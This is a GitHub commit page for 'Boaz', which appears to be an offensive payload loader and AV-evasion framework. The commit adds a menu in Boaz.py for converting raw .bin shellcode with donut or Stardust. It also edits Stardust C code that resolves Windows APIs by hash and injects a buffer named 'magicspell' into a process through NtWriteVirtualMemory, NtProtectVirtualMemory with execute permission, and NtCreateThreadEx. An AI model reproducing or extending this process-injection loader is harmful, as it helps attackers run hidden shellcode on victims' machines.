Skip to content

Commit

Permalink
Fix issues.
Browse files Browse the repository at this point in the history
  • Loading branch information
thomasxm committed Jul 12, 2024
1 parent 6c654d3 commit ac4eb31
Show file tree
Hide file tree
Showing 9 changed files with 1,353 additions and 1,312 deletions.
Binary file modified Boaz
Binary file not shown.
16 changes: 16 additions & 0 deletions Boaz.py
Original file line number Diff line number Diff line change
Expand Up @@ -1124,6 +1124,22 @@ def print_selected_options(args):

print_selected_options(args)

if args.input_file.endswith('.bin'):
print("The input file ends with .bin")
choice = input("Choose your Position Independent Code converter:\n1) donut\n2) stardust\nEnter your choice (1 or 2): ")

if choice == '1':
args.shellcode_type = 'donut'
print("Shellcode type set to donut.")
elif choice == '2':
args.star_dust = True
print("Star dust set to True.")
else:
print("Invalid choice. Default to donut.")
args.shellcode_type = 'donut'
else:
print("Input file is not a raw shellcode ends with .bin")

# Adjust shellcode_file name based on the shellcode type
# TODO: Add more shellcode PIC generators here:
if args.shellcode_type == 'donut':
Expand Down
Binary file modified Stardust/bin/boaz.x64.bin
Binary file not shown.
Binary file modified Stardust/bin/obj/asm_Stardust.x64.o
Binary file not shown.
Binary file modified Stardust/bin/obj/boaz_Main.x64.o
Binary file not shown.
Binary file modified Stardust/bin/obj/boaz_PreMain.x64.o
Binary file not shown.
1 change: 1 addition & 0 deletions Stardust/include/Common.h
Original file line number Diff line number Diff line change
Expand Up @@ -49,6 +49,7 @@ typedef struct _INSTANCE {
//
D_API( LoadLibraryW )
D_API( WaitForSingleObjectEx )
D_API( WaitForSingleObject )
D_API( GetCurrentProcess )

//
Expand Down
2,632 changes: 1,322 additions & 1,310 deletions Stardust/src/Main.c

Large diffs are not rendered by default.

16 changes: 14 additions & 2 deletions Stardust/src/Main.c.bak
Original file line number Diff line number Diff line change
Expand Up @@ -30,7 +30,7 @@ FUNC VOID Main(
if ( ! ( Instance()->Win32.LoadLibraryW = LdrFunction( Instance()->Modules.Kernel32, HASH_STR( "LoadLibraryW" ) ) ) ) {
return;
}
if ( ! ( Instance()->Win32.WaitForSingleObjectEx = LdrFunction( Instance()->Modules.Kernel32, HASH_STR( "WaitForSingleObjectEx" ) ) ) ) {
if ( ! ( Instance()->Win32.WaitForSingleObject = LdrFunction( Instance()->Modules.Kernel32, HASH_STR( "WaitForSingleObject" ) ) ) ) {
return;
}
if ( ! ( Instance()->Win32.GetCurrentProcess = LdrFunction( Instance()->Modules.Kernel32, HASH_STR( "GetCurrentProcess" ) ) ) ) {
Expand Down Expand Up @@ -98,6 +98,8 @@ FUNC VOID Main(
// if function successfully executed, open a message box:
if (status == 0) {
Instance()->Win32.MessageBoxW(NULL, L"VirtualAllocEx success", L"Boaz MessageBox", MB_OK);
} else {
Instance()->Win32.MessageBoxW(NULL, L"VirtualAllocEx failed", L"Boaz MessageBox", MB_OK);
}

// Instance()->Win32.RtlMoveMemory(magicspellAddress, magicspell, sizeof(magicspell));
Expand All @@ -106,6 +108,8 @@ FUNC VOID Main(
status = Instance()->Win32.NtWriteVirtualMemory(hProcess, magicspellAddress, magicspell, magicspellSize, NULL);
if(status == 0) {
Instance()->Win32.MessageBoxW(NULL, L"NtWriteVirtualMemory success", L"Boaz MessageBox", MB_OK);
} else {
Instance()->Win32.MessageBoxW(NULL, L"NtWriteVirtualMemory failed", L"Boaz MessageBox", MB_OK);
}

DWORD oldProtect;
Expand All @@ -114,6 +118,8 @@ FUNC VOID Main(
status = Instance()->Win32.NtProtectVirtualMemory(hProcess, &magicspellAddress, &magicspellSize, PAGE_EXECUTE_READ, &oldProtect);
if(status == 0) {
Instance()->Win32.MessageBoxW(NULL, L"NtProtectVirtualMemory success", L"Boaz MessageBox", MB_OK);
} else {
Instance()->Win32.MessageBoxW(NULL, L"NtProtectVirtualMemory failed", L"Boaz MessageBox", MB_OK);
}


Expand All @@ -122,6 +128,9 @@ FUNC VOID Main(
status = Instance()->Win32.NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hProcess, magicspellAddress, NULL, FALSE, 0, 0, 0, NULL);
if(status == 0) {
Instance()->Win32.MessageBoxW(NULL, L"NtCreateThreadEx success", L"Boaz MessageBox", MB_OK);
} else
{
Instance()->Win32.MessageBoxW(NULL, L"NtCreateThreadEx failed", L"Boaz MessageBox", MB_OK);
}


Expand All @@ -132,11 +141,14 @@ FUNC VOID Main(
// Instance()->Win32.TpReleaseWork( WorkReturn );

// Waiting for 1 second to let the TpWorkCallback finish
BOOL result = Instance()->Win32.WaitForSingleObjectEx( hProcess, 6000, NULL );
BOOL result = Instance()->Win32.WaitForSingleObject( hThread, INFINITE );
if(result == 0) {
Instance()->Win32.MessageBoxW(NULL, L"WaitForSingleObjectEx success", L"Boaz MessageBox", MB_OK);
} else {
Instance()->Win32.MessageBoxW(NULL, L"WaitForSingleObjectEx failed", L"Boaz MessageBox", MB_OK);
}


// Message = NtCurrentPeb()->ProcessParameters->ImagePathName.Buffer;

// //
Expand Down

0 comments on commit ac4eb31

Please sign in to comment.